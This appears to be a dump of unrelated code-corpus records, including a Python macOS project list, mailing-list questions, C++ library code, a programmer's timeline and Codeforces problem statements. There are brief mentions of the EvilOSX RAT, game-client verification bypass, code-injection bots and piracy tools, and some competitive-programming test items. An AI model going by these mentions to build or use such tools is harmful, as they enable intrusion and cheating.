help.\ndonnemartin - dev setup\nAn open Apple AirDrop implementation written in PythonProject mention: Apple iPhoto frame or emulator ? | reddit.com/r/RASPBERRY_PI_PROJECTS | 2021-11-22\nOpenDrop (https://github.com/seemoo-lab/opendrop) might be something for that.\nRun Linux Software Faster and Safer than Linux with Unikernels.\nA supercharged AWS command line interface (CLI).Project mention: What is the best program for making JSON CLI output more readable and manageable? | reddit.com/r/aws | 2021-11-01\nI'd recommend giving https://github.com/donnemartin/saws a shot.\n🖥️📱🔔 A utility for sending notifications, on demand and when commands finish.Project mention: I made ntfy.sh, a simple HTTP-based pub-sub that let's you PUT/POST notifications to your phone or desktop | reddit.com/r/golang | 2021-11-09\nBrowse Hacker News like a haxor: A Hacker News command line interface (CLI).\ncoala provides a unified command-line interface for linting and fixing all your code, regardless of the programming languages you use.Project mention: Show HN: Semgrep App | news.ycombinator.com | 2021-10-22\nA flexible package manager that supports multiple versions, configurations, platforms, and compilers.Project mention: Virtualenv Functional Equivalent? | reddit.com/r/archlinux | 2021-11-30\nQuickly fetch your WiFi password and if needed, generate a QR code of your WiFi to allow phones to easily connect (by sdushantha)Project mention: Quickly fetch your WiFi password and if needed, generate a QR code of your WiFi to allow phones to easily connect. Works on macOS and Linux and Windows | reddit.com/r/developersIndia | 2021-01-27\nPersonal Assistant for Linux and macOSProject mention: Language Processing/Hearing Accessibility options for Linux? | reddit.com/r/linuxquestions | 2021-07-23\nThere are projects like Jarvis but it's still a work-in-progress.\naeneas is a Python/C library and a set of tools to automagically synchronize audio and text (aka forced alignment)Project mention: WhisperSync alternative for Plex Audiobooks and already owned E-Books | reddit.com/r/selfhosted | 2021-09-12\nCheck out https://github.com/readbeyond/aeneas\nCast macOS and Linux Audio/Video to your Google Cast and Sonos DevicesProject mention: A tool for picking up course markers used in drone racing | reddit.com/r/specializedtools | 2021-10-26\nhttps://github.com/muammar/mkchromecast might work for you?\nAn evil RAT (Remote Administration Tool) for macOS / OS X.Project mention: Awesome Penetration Testing | dev.to | 2021-10-06\nEvilOSX - Modular RAT that uses numerous evasion and exfiltration techniques out-of-the-box.\nOpen-source Dropbox client for macOS and Linux\nDocumentation and source code for PopClip extensions.Project mention: TrackerZapper Mac app silently removes tracking parameters from links you copy | news.ycombinator.com | 2021-09-18\nKivyMD is a collection of Material Design compliant widgets for use with Kivy, a framework for cross-platform, touch-enabled graphical applications. https://youtube.com/c/KivyMD https://twitter.com/KivyMD https://habr.com/ru/users/kivymd https://stackoverflow.com/tags/kivymdProject mention: Some icons showing up as white blocks, ... others look fine..? (kivymd) | reddit.com/r/kivy | 2021-12-02\ngit clone https://github.com/kivymd/KivyMD.git --depth 1 cd ./KivyMD pip install .\nnovelWriter is an open source plain text editor designed for writing novels. It supports a minimal markdown-like syntax for formatting text. It is written with Python 3 (3.6+) and Qt 5 (5.3+) for cross-platform support.Project mention: Is Scrivener worth the money? | reddit.com/r/selfpublish | 2021-11-07\nHowever, as others have mentioned, some aspects of it are still bothersome (I see endless complaints about the complexity of the Compiler), and there do exist some really good free alternatives, like SmartEdit Writer and NovelWriter, which offer very similar functionally.\nCreate deployable system images from OS X installerProject mention: How do I install MacOS catalina through the terminal on setup? | reddit.com/r/hackintosh | 2021-04-21\n:mag_right: Enhance Spotlight with plugins on macOS (by w0lfschild)Project mention: what good apps are in windows store that arent in ios or android so we can discover new apps | reddit.com/r/Surface | 2021-01-16\nFlashlight: Add plugins to Spotlight search.\nPython MacOS related posts\nBest way to download Udemy courses?\n3 projects | reddit.com/r/Piracy | 5 Dec 2021\n[Question] Compiling and Running Fugu14 on Linux System\n1 project | reddit.com/r/jailbreak | 5 Dec 2021\nOS X-KVM: Run macOS on QEMU/KVM\n1 project | reddit.com/r/patient_hackernews | 3 Dec 2021\nOS X-KVM: Run macOS on QEMU/KVM\n1 project | reddit.com/r/hackernews | 3 Dec 2021\nHacker News top posts: Dec 3, 2021\n2 projects | reddit.com/r/hackerdigest | 3 Dec 2021\nAny idea why it is taking that much time?\n1 project | reddit.com/r/qemu_kvm | 1 Dec 2021\nAdobe Zii for Premiere 14.8\n1 project | reddit.com/r/AdobeZii | 1 Dec 2021\nWhat are some of the best open-source MacOS projects in Python? This list will help you:\nAre you hiring? Post a new remote job listing for free.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1725, "token_count_with_eod": 1726, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "[OpenSIPS-Users] Help with my OpenSips architecture\nwallnut.monkeys at gmail.com\nTue Aug 7 15:36:22 EDT 2018\nHi all, just to make sure I'm one the right track here I'd like to share a\nfew thoughts of where I'm currently going with my architecture, any\nfeedback is really appreciated specially if it can help me avoid any\npitfalls in the future. Here is what I'm trying to do:\nI currently have a a few asterisk servers directly facing the public\ninternet, with sip devices registering directly with a specific asterisk.\nSo my first goal was to have the sip devices register directly with\nOpenSips so I used the mid_registrar module for that, and forward the\nregisters to the right asterisk. This seems to work very well so far.\nSecondly, I setup rtp proxy, on the same box as opensips, this also seems\nto work great so far. At this point I should be able to not have the\nasterisk facing public internet.\nThe third thing I now want to do, and this is where I am currently stuck is\nto figure out what my options are in terms of high availability of the\nopensips. I figured I would go with a VIP setup with 2 identical opensips\nbox. So in this type of setup i would have to replicate usrloc and dialogs\nbetween the 2 opensips instances right? Am I forgetting anything?\nAm I on the right track with this type of setup or am I missing something\nbig here? It's also worth mentioning that I am using OpenSIPS 2.4\nAny advice/links with info on similar setup/code examples are very welcome\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nMore information about the Users", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 387, "token_count_with_eod": 388, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I encountered this error when running my website on the\nERROR [IM002] [Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified\nDescription: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.\nException Details: System.Data.Odbc.OdbcExcep\ntion: ERROR [IM002] [Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified\nLine 280: Using connection As New OdbcConnection(connectionS\nLine 281: command.Connection = connection\nLine 282: connection.Open()\nLine 283: 'command.ExecuteNonQuery()\nHowever, running it on http://localhost:1301/myapps/Default.aspx\n(clicking 'start' from web developer), there is NO such problem\nAny help is greatly appreciated.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 201, "token_count_with_eod": 202, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#pragma once\n#include \"heap_algorithm.h\"\n#include \"stl_deque.h\"\n#include \"stl_function.h\"\n#include \"stl_vector.h\"\n\nnamespace MiniSTL {\n\ntemplate <class T, class Sequence = deque<T>>\nclass queue;\n\ntemplate <class T, class Sequence>\nbool operator==(const queue<T, Sequence> &, const queue<T, Sequence> &);\n\ntemplate <class T, class Sequence>\nbool operator<(const queue<T, Sequence> &, const queue<T, Sequence> &);\n\ntemplate <class T, class Sequence>\nclass queue {\n    // friend declarations\n    template <class _T, class _Sequence>\n    friend bool operator==(const queue<_T, _Sequence> &,\n                           const queue<_T, _Sequence> &);\n    template <class _T, class _Sequence>\n    friend bool operator<(const queue<_T, _Sequence> &,\n                          const queue<_T, _Sequence> &);\n\npublic:  // alias declarations\n    using value_type = typename Sequence::value_type;\n    using size_type = typename Sequence::size_type;\n    using reference = typename Sequence::reference;\n    using const_reference = typename Sequence::const_reference;\n\nprivate:  // data member\n    Sequence c;\n\npublic:  // ctor\n    queue() = default;\n    explicit queue(const Sequence &rhs) : c(rhs) {}\n\npublic:  // copy operations\n    queue(const queue &rhs) : c(rhs.c) {}\n    queue &operator=(const queue &rhs) {\n        c.operator=(rhs.c);\n        return *this;\n    }\n\npublic:  // move operations\n    queue(queue &&rhs) noexcept : c(std::move(rhs.c)) {}\n    queue &operator=(queue &&rhs) noexcept {\n        c.operator=(std::move(rhs.c));\n        return *this;\n    }\n\npublic:  // getter\n    bool empty() const noexcept { return c.empty(); }\n    size_type size() const noexcept { return c.size(); }\n    const_reference front() const { return c.front(); }\n\npublic:  // setter\n    reference front() { return c.front(); }\n\npublic:  // push && pop\n    void push(const value_type &value) { c.push_back(value); }\n    void pop() { c.pop_front(); }\n\npublic:  // swap\n    void swap(queue &rhs) noexcept { MiniSTL::swap(c, rhs.c); }\n};\n\ntemplate <class T, class Sequence>\ninline bool operator==(const queue<T, Sequence> &lhs,\n                       const queue<T, Sequence> &rhs) {\n    return lhs.c == rhs.c;\n}\n\ntemplate <class T, class Sequence>\ninline bool operator<(const queue<T, Sequence> &lhs,\n                      const queue<T, Sequence> &rhs) {\n    return lhs.c < rhs.c;\n}\n\ntemplate <class T, class Sequence>\ninline bool operator!=(const queue<T, Sequence> &lhs,\n                       const queue<T, Sequence> &rhs) {\n    return !(lhs == rhs);\n}\n\ntemplate <class T, class Sequence>\ninline bool operator>(const queue<T, Sequence> &lhs,\n                      const queue<T, Sequence> &rhs) {\n    return rhs < lhs;\n}\n\ntemplate <class T, class Sequence>\ninline bool operator<=(const queue<T, Sequence> &lhs,\n                       const queue<T, Sequence> &rhs) {\n    return !(rhs < lhs);\n}\n\ntemplate <class T, class Sequence>\ninline bool operator>=(const queue<T, Sequence> &lhs,\n                       const queue<T, Sequence> &rhs) {\n    return !(lhs < rhs);\n}\n\ntemplate <class T, class Sequence>\ninline void swap(queue<T, Sequence> &lhs, queue<T, Sequence> &rhs) noexcept {\n    lhs.swap(rhs);\n}\n\ntemplate <class T, class Sequence = vector<T>,\n          class Compare = less<typename Sequence::value_type>>\nclass priority_queue {\npublic:  // alias declarations\n    using value_type = typename Sequence::value_type;\n    using size_type = typename Sequence::size_type;\n    using reference = typename Sequence::reference;\n    using const_reference = typename Sequence::const_reference;\n    // none iterators\n\nprivate:  // data\n    Sequence c;\n    Compare comp;\n\npublic:  // ctor && dtor\n    explicit priority_queue(const Compare &compare) : c(), comp(compare) {}\n    explicit priority_queue(const Compare &compare = Compare(),\n                            const Sequence &&seq = Sequence())\n        : c(std::move(seq)), comp(compare) {\n        make_heap(c.begin(), c.end(), comp);\n    }\n    priority_queue(std::initializer_list<T> il,\n                   const Compare &compare = Compare())\n        : c(il), comp(compare) {\n        make_heap(c.begin(), c.end(), comp);\n    }\n    template <class InputIterator>\n    priority_queue(InputIterator first, InputIterator last,\n                   const Compare &compare, const Sequence &seq)\n        : c(seq), comp(compare) {\n        c.insert(first, last);\n        make_heap(c.begin(), c.end(), comp);\n    }\n    template <class InputIterator>\n    priority_queue(InputIterator first, InputIterator last,\n                   const Compare &compare = Compare(),\n                   const Sequence &&seq = Sequence())\n        : c(std::move(seq)), comp(compare) {\n        c.insert(c.end(), first, last);\n        make_heap(c.begin(), c.end(), comp);\n    }\n\n    ~priority_queue() = default;\n\npublic:  // copy operation\n    priority_queue(const priority_queue &rhs) : c(rhs.c), comp(rhs.comp) {}\n    priority_queue &operator=(const priority_queue &rhs) {\n        c = rhs.c;\n        comp = rhs.comp;\n        return *this;\n    }\n\npublic:  // move operation\n    priority_queue(priority_queue &&rhs) noexcept : c(std::move(rhs.c)),\n                                                    comp(std::move(rhs.comp)) {}\n    priority_queue &operator=(priority_queue &&rhs) noexcept {\n        c = std::move(rhs.c);\n        comp = std::move(rhs.comp);\n        return *this;\n    }\n\npublic:  // getter\n    bool empty() const noexcept { return c.empty(); }\n    size_type size() const noexcept { return c.size(); }\n    const_reference top() const noexcept { return c.front(); }\n\npublic:  // push && pop\n    void push(const value_type &value) {\n        try {\n            c.push_back(value);\n            push_heap(c.begin(), c.end(), comp);\n        } catch (std::exception &) {\n            c.clear();\n        }\n    }\n    void pop() {\n        try {\n            pop_heap(c.begin(), c.end(), comp);\n            c.pop_back();\n        } catch (std::exception &) {\n            c.clear();\n        }\n    }\n\npublic:  // swap\n    void swap(priority_queue &rhs) noexcept {\n        MiniSTL::swap(c, rhs.c);\n        MiniSTL::swap(comp, rhs.comp);\n    }\n};\n\n// global swap for priority_\ntemplate <class T, class Sequence, class Compare>\ninline void swap(priority_queue<T, Sequence, Compare> &lhs,\n                 priority_queue<T, Sequence, Compare> &rhs) noexcept {\n    lhs.swap(rhs);\n}\n\n}  // namespace MiniSTL", "source": "cpt_stack_code", "language": "code", "token_count": 1633, "token_count_with_eod": 1634, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "If you're in this deep, you're likely either a bot or particularly bored. I'm keeping this page around mostly for personal reference, but maybe you might find something interesting here anyway — it's essentially a timeline of CS-related events in my life.\n- Spent a bunch of time mining a v3 onion for this site.\n- Wrote a client hack for changing emojis in Slack.\n- Helped out with writing testdata for the Canadian Computing Competition.\n- Set up a system for building identical PDF and HTML versions of my resume from LaTeX source.\n- Worked on porting the DMOJ judge to ARM platforms, including my Android phone.\n- Designed a RISC CPU in Verilog for a Cyclone II FPGA, alongside an assembler and compiler for a small subset of C (\"TudorC\").\n- Represented UofT at the ECNA ACM-ICPC team competition in Windsor. Did slightly better, placing 17th of 139.\n- Attended my first hackathon.\n- Started 2nd year at UTSG.\n- Began using a graphical WSL setup daily. Contributed a bit to polybar to add support for WSL.\n- Wrote a Nintendo Entertainment System emulator in C# 7. Runs under Mono, too.\n- Made a tool for patching Blade and Soul clients bypassing verification through import address table rewriting.\n- Participated in UTSCode, and won a nice mechanical keyboard that I'm using to type this.\n- Helped run the Don Mills Programming Gala again, in a lesser capacity.\n- Gave a talk at an ACSE conference on the uses and benefits of automated grading in classroom settings.\n- Started running a Tor relay.\n- Worked on porting the DMOJ judge to FreeBSD.\n- Wrote a Slack integration for LaTeX math.\n- Reverse engineered several PS2/PS4 game archives to extract some background pictures and music I liked.\n- Made a server for rendering LaTeX documents, intended for embedding pretty figures into HTML pages.\n- Set up this site.\n- Represented UofT at the ECNA ACM-ICPC team competition in Windsor. Placed 28th of 126.\n- Dropped out of the co-op program after the first semester, applied to transfer to UTSG.\n- Started school at UTSC (they had a co-op program!)\n- Began working at Ivy Global as an intern. Started managing a Windows stack for the first time.\n- Graduated from high school, but got deferred from UWaterloo to UofT. Oops.\n- Organized the second Don Mills Programming Gala, to similar success. Passed the metaphorical torch down.\n- Wrote a very fast Nintendo Gameboy Color emulator in Java.\n- Participated in the provincial ECOO programming competition. Held on to the trophy for another year.\n- Organized the first Don Mills Programming Gala. Had 150 students come participate.\n- Thinking Dart was pretty sexy, wrote a photosphere viewer in it.\n- Started handing in programs for physics assignments.\n- Made an addictive osu!-like speed-typing game in Java, using JAVI.\n- Played around with a lot of fancy Java graphics.\n- Wrote the inverse of the script.\n- Made a script to convert cubemaps to sphere maps. Apparently this was a common enough problem that it got some unexpected attention.\n- Participated in the provincial ECOO programming competition. Placed 1st this time around. Used the trophy as a pretzel container for the next 2 years.\n- Wrote a RuneScape bot based on runtime code injection and static analysis of gamepacks to reverse their obfuscation.\n- Continued working on the DMOJ, as well as writing monthly problemsets.\n- Wrote a RuneScape bot by proxying OpenGL render calls and matching calls to entities being rendered on-screen.\n- Attempted to use this to automatically translate light novels. Was unsuccessful.\n- Played around with handwriting recognition with self-organizing maps.\n- Hosted the very first monthly Don Mills Open Programming Contest.\n- Started writing the DMOJ over March break. At this time, we called it the \"Don Mills Online Judge\".\n- Wrote a debugger for Swing layouts by injecting debugging code into running applications.\n- Brought 3D rendering to Windows (cmd.exe) terminals.\n- Developed a game engine in Java. Implemented fun stuff like shadows, parallax maps, normal maps, reflections, skyboxes, etc. Hunted down driver bugs for months.\n- Wrote a cProfile-like profiler for Java, with runtime instrumentation.\n- Made a 3D space game in Python with OpenGL.\n- Wrote a 3D tile-based game engine and development environment.\n- Participated in the provincial ECOO programming competition. Placed 3rd.\n- Wrote a (very) partial Minecraft client implementation in Python.\n- I liked the idea, so I made one for visualizing some graph traversal algorithms too.\n- Put together a visualization for various cellular automaton configurations.\n- Developed a set of Java bindings for FFmpeg, as well as boilerplate for Swing video playback integration. Called it JAVI.\n- Wrote a very fast Java bytecode manipulation framework. Built some disassemblers and obfuscators on top of it.\n- Made a MIDI keyboard.\n- Put together a simple mechanism for injecting code into running JVMs. Used it many times since.\n- Sort of made a search engine for emojis.\n- Implemented Zalgo, but in Java.\n- Ported HAL to Java. Creatively called it JAL.\n- Started school at Don Mills Collegiate Institute.\n- Wrote some fluent wrappers for Java's Reflection API. I still use them whenever I'm doing that sort of stuff.\n- Wrote a personal assistant chatbot with text-to-speech in Python before Siri made it cool. Called it HAL.\n- Developed some fairly popular plugins for Bukkit (a Minecraft server mod before it got DMCA'd).\n- Spent too much time on FLL robotics.\n- Made an extremely inefficient RuneScape bot based on color and subimage matching.\n- Wrote crappy RuneScape bot scripts for RSBuddy.\n- Started programming on an Arduino Uno.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1346, "token_count_with_eod": 1347, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Level 2 - 3.4.4 Activity: Create Stock Exceptions Review UX Page\nAs i am currently doing this activity, I am a bit lost with the 3rd Grid :\n- Stock Exception count by product SKU and total for the parent Product at monthly, half-year, and year time periods.\nWe are supposed to be using INV02, though in this module we did not aggregate by SKU but by product family so I am missing the point on where should I create the grid based on the SKUs..\nCan someone help me?\nThank you in advance", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*=========================================================================\n *\n *  Copyright NumFOCUS\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http://www.apache.org/licenses/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*/\n#ifndef itkBlockMatchingMultiResolutionBlockRadiusCalculator_h\n#define itkBlockMatchingMultiResolutionBlockRadiusCalculator_h\n\n#include \"itkArray2D.h\"\n#include \"itkObject.h\"\n\nnamespace itk\n{\nnamespace BlockMatching\n{\n\n/** \\class MultiResolutionBlockRadiusCalculator\n *\n * \\brief Base class calculate the fixed image matching kernel radius for each level in a\n * BlockMatching::MultiResolutionImageRegistrationMethod.\n *\n * This must be able to produce the fixed image block radius for every level of\n * the MultiResolutionPyramidImage filter.\n *\n * \\ingroup Ultrasound\n */\ntemplate <class TFixedImage>\nclass ITK_TEMPLATE_EXPORT MultiResolutionBlockRadiusCalculator : public Object\n{\npublic:\n  /** Standard class type alias. */\n  using Self = MultiResolutionBlockRadiusCalculator;\n  using Superclass = Object;\n  using Pointer = SmartPointer<Self>;\n  using ConstPointer = SmartPointer<const Self>;\n\n  /** Run-time type information (and related methods). */\n  itkTypeMacro(MultiResolutionBlockRadiusCalculator, Object);\n\n  /** ImageDimension enumeration. */\n  itkStaticConstMacro(ImageDimension, unsigned int, TFixedImage::ImageDimension);\n\n  /** Type of the fixed image type. */\n  using FixedImageType = TFixedImage;\n  using FixedImageConstPointer = typename FixedImageType::ConstPointer;\n  using RadiusType = typename FixedImageType::SizeType;\n\n  /** ScheduleType type alias support. */\n  using ScheduleType = Array2D<unsigned int>;\n\n  /** SetPyramidSchedule() gets called with the pyramid schedule after the pyramid has\n   * been generated.  This information is the available for child classes if\n   * they choose to use it.  */\n  virtual void\n  SetPyramidSchedule(const ScheduleType & schedule)\n  {\n    m_PyramidSchedule = schedule;\n    this->Modified();\n  }\n\n  /** Get the multi-resolution schedule. */\n  itkGetConstReferenceMacro(PyramidSchedule, ScheduleType);\n\n  /** Set/Get the Fixed image. The fixed image is set during the\n   * BlockMatching::MultiResolutionImageRegistrationMethod and is available for\n   * child classes if the choose to use it.  */\n  itkSetConstObjectMacro(FixedImage, FixedImageType);\n  itkGetConstObjectMacro(FixedImage, FixedImageType);\n\n  /** This abstract method must be implemented by child classes.  Given the\n   * current level in the image pyramid, return the fixed block radius. */\n  virtual const RadiusType &\n  Compute(unsigned long current_level) = 0;\n\nprotected:\n  MultiResolutionBlockRadiusCalculator() {}\n\n  ScheduleType m_PyramidSchedule;\n\n  FixedImageConstPointer m_FixedImage;\n\nprivate:\n  MultiResolutionBlockRadiusCalculator(const Self &);\n  void\n  operator=(const Self &);\n};\n\n} // end namespace BlockMatching\n} // end namespace itk\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 798, "token_count_with_eod": 799, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Brief description :\nJava Developers - Immediate\nJava Developers - Males Only\n- Should have at least 1 Year- 3 Years of hands-on experience in Java and JavaEE development.\n- Knowledge in Spring Framework, Hibernate ORM and various Jquery Frameworks (preferably AngularJs)\n- Familiar with Git, Apache Maven and common IDE's like Eclipse and IntelliJ IDEA\nMale Candidates Preferred", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 81, "token_count_with_eod": 82, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There appears to be a 256 character limit for the open_basedir field in ISPConfig 3.0.3. This is pretty aggravating if a web site domain name gets on the long side, especially when creating a separate web site on a different sub-domain (ie. subsite1.longwebsitename.com). It makes it impossible to add any directories using the ISPConfig interface. I assume this is a database field limit? Can this be changed in future releases? Why is there a /srv/www/blablabla pre-filled in this field on a Ubuntu system? I thought /srv/www/ was for SUSE-based systems (among others). Can I remove that entry to make room?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 145, "token_count_with_eod": 146, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a tree with $$$n$$$ nodes, numerated from $$$0$$$ to $$$n-1$$$. For each $$$k$$$ between $$$0$$$ and $$$n$$$, inclusive, you have to count the number of unordered pairs $$$(u,v)$$$, $$$u \\neq v$$$, such that the MEX of all the node labels in the shortest path from $$$u$$$ to $$$v$$$ (including end points) is $$$k$$$.\n\nThe MEX of a sequence of integers is the smallest non-negative integer that does not belong to the sequence.", "source": "cpt_codeforces", "language": "en", "token_count": 119, "token_count_with_eod": 120, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "In this file photo, workers with Python Corp. from Lacombe repair the river wall on South Grand Street. The wall was damaged by the 2011 fire that destroyed the Howard Griffin building.\nA Monroe man has been found not guilty by reason of insanity in the March 2011 arson of the former Howard Griffin building at 700 S. Grand Street.\nJudge Wilson Rambo ruled in 4th Judicial District Court Thursday that the evidence indicated Tyrone Robinson was guilty of setting the fire that destroyed the building. However, because of long-term mental illness, he was not able to distinguish between right and wrong at the time of the crime.\nRobinson will not be held criminally responsible but will be sent to a state-run forensic facility for people with mental illness. He will not be released from ...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 171, "token_count_with_eod": 172, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Dima and Inna love spending time together. The problem is, Seryozha isn't too enthusiastic to leave his room for some reason. But Dima and Inna love each other so much that they decided to get criminal...\n\nDima constructed a trap graph. He shouted: \"Hey Seryozha, have a look at my cool graph!\" to get his roommate interested and kicked him into the first node.\n\nA trap graph is an undirected graph consisting of n nodes and m edges. For edge number k, Dima denoted a range of integers from lk to rk (lk ≤ rk). In order to get out of the trap graph, Seryozha initially (before starting his movements) should pick some integer (let's call it x), then Seryozha must go some way from the starting node with number 1 to the final node with number n. At that, Seryozha can go along edge k only if lk ≤ x ≤ rk.\n\nSeryozha is a mathematician. He defined the loyalty of some path from the 1-st node to the n-th one as the number of integers x, such that if he initially chooses one of them, he passes the whole path. Help Seryozha find the path of maximum loyalty and return to his room as quickly as possible!", "source": "cpt_codeforces", "language": "en", "token_count": 275, "token_count_with_eod": 276, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Kolya got an integer array $$$a_1, a_2, \\dots, a_n$$$. The array can contain both positive and negative integers, but Kolya doesn't like $$$0$$$, so the array doesn't contain any zeros.\n\nKolya doesn't like that the sum of some subsegments of his array can be $$$0$$$. The subsegment is some consecutive segment of elements of the array.\n\nYou have to help Kolya and change his array in such a way that it doesn't contain any subsegments with the sum $$$0$$$. To reach this goal, you can insert any integers between any pair of adjacent elements of the array (integers can be really any: positive, negative, $$$0$$$, any by absolute value, even such a huge that they can't be represented in most standard programming languages).\n\nYour task is to find the minimum number of integers you have to insert into Kolya's array in such a way that the resulting array doesn't contain any subsegments with the sum $$$0$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 218, "token_count_with_eod": 219, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "For a given array $$$a$$$ consisting of $$$n$$$ integers and a given integer $$$m$$$ find if it is possible to reorder elements of the array $$$a$$$ in such a way that $$$\\sum_{i=1}^{n}{\\sum_{j=i}^{n}{\\frac{a_j}{j}}}$$$ equals $$$m$$$? It is forbidden to delete elements as well as insert new elements. Please note that no rounding occurs during division, for example, $$$\\frac{5}{2}=2.5$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 111, "token_count_with_eod": 112, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "There are n boys and m girls studying in the class. They should stand in a line so that boys and girls alternated there as much as possible. Let's assume that positions in the line are indexed from left to right by numbers from 1 to n + m. Then the number of integers i (1 ≤ i < n + m) such that positions with indexes i and i + 1 contain children of different genders (position i has a girl and position i + 1 has a boy or vice versa) must be as large as possible.\n\nHelp the children and tell them how to form the line.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are probably getting TransactionTooLargeException\nAs suggested by google android guide, you could use static fields or singletons to share data between activities.\nThey recommend it “For sharing complex non-persistent user-defined objects for short duration”\nFrom your code it seems that’s exactly what you need.\nSo your code in ActivitySearch.class could look something like this:\nActivityResults.data = searchList;\nIntent intent = new Intent(ActivitySearch.this,ActivityResults.class);\nThen you can access ActivityResults.data from anywhere in ActivityResults activity after it starts.\nFor data that need to be shared between user sessions, it’s not advisable to use static fields, since application process could be killed and restarted by android framework while app is running in background (if framework need to free resources). In such case all static fields will be reinitialized.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 172, "token_count_with_eod": 173, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "SELinux is on in Fedora, but not in other linux distributions. This does not mean that they are less ecure. SELinux makes some assumptions for a linux system that prevents ISPConfig on running.\nIf you want to have a really secure webserver i recommend not to install PHP or perl or any other scripting language for webpages as most hacks currently are done trough unsecure scripts. Then do not install any management software except an SSH server on a non common port and remove all compilers from your system.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 103, "token_count_with_eod": 104, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "do you think it's an emperor it said asian forrest but i don't believe petsmartYour going to have to post a picture of the underside, below is just an example.\nWell they wouldn't try to give you an emperor labeled as a Asian forest. Guess it's possible someone could label an emp. As such. But I do think you have a heterometrus sp. The again I'm not the best with these type scorpionsdo you think it's an emperor it said asian forrest but i don't believe petsmart", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi, I'm not sure whether this problem has been posted before, but I can't use the context menu on zip files when the file is located on the desktop.\nI usually download files to the desktop for easy finding. If I have a zip file on the desktop and use opus to navigate to the desktop and try to use the right click context menus on the zip file nothing happens; no menu.\nDouble clicking the file lists the contents in a new lister, but no context menu.\nThis only seems to affect zip files. Images, music, docs all seem to work correctly.\nGo to /desktopdir instead of /desktop.\n/desktopdir is the real directory which contains your desktop files.\n/desktop is a virtual folder which merges the contents of /desktopdir with the contents of the similar directory for All Users, as well as some icons which don't really physically exist (like the Recycle Bin).\nVirtual folders are handled by Explorer (within Opus) and thus do not support any Opus-only context menus.\nAlternatively, you may be able to make the context menu work in a way which is supported in both Explorer and Opus, but if it's just for the Desktop then using /desktopdir is usually preferable and easier.\nThanks for that, it now works as expected. My problem was I had a button setup that used the Go /desktop command. Now changed this to Go /desktopdir.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n * MIT License\n *\n * Copyright (c) 2016 Jordi Soler Busquets\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n\n\n#ifndef CAM_EXPLORATION_FRONTIERS_MAP_H\n#define CAM_EXPLORATION_FRONTIERS_MAP_H\n\n\n#include <cam_exploration/frontierValue.h>\n#include <list>\n\n/**\n * @file frontiersMap.h\n * @brief This file basically hosts the class cam_exploration::FrontiersMap\n * @author Jordi Soler\n * @version 1.0\n * @date 2016-04-19\n */\n\n\nnamespace cam_exploration{\n\n\n/**\n * @brief Collectoion of frontier evaluation objects\n */\ntypedef std::vector<strategy::frontierValue*> fvalueType;\n\n/**\n * @brief Frontier comparaison functor\n */\nstruct compFrontierValues\n{\n    